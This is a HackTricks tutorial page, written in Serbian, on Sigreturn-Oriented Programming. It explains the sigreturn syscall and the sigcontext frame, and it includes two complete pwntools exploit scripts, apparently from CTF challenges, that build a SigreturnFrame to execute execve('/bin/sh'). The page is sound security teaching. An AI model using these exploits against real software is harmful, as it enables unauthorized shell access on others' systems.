SROP - Sigreturn-Oriented Programming

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Sigreturn je posebna syscall koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazali na to da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću signal handler-a, posebne funkcije dizajnirane za rukovanje signalima.

Nakon što signalni handler završi, program treba da nastavi svoje prethodno stanje kao da se ništa nije dogodilo. Tu dolazi do izražaja sigreturn. Pomaže programu da vrati iz signal handler-a i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.

Zanimljiv deo je kako sigreturn obnavlja stanje programa: to čini tako što čuva sve vrednosti CPU registara na steku. Kada signal više nije blokiran, sigreturn uklanja ove vrednosti sa steka, efikasno resetujući registre CPU-a na njihovo stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.

Pozivanje syscall-a sigreturn iz ROP lanca i dodavanje registarskih vrednosti koje želimo da učitamo u stek omogućava nam da kontrolišemo sve registarske vrednosti i stoga pozovemo na primer syscall execve sa /bin/sh.

Obratite pažnju na to kako bi ovo bila vrsta Ret2syscall koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:

Ret2syscall

Ako vas zanima, ovo je sigcontext struktura koja se čuva na steku da bi se kasnije povratile vrednosti (dijagram iz ovde):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Za bolje objašnjenje pogledajte takođe:

Primer

Možete pronaći primer ovde gde se poziv na signeturn konstruira putem ROP-a (stavljajući u rxa vrednost 0xf), iako je ovo konačni exploit odatle:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Proverite takođe eksploit ovde gde je binarni program već pozivao sigreturn i stoga nije potrebno to graditi sa ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Ostali primeri i reference

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks

Last updated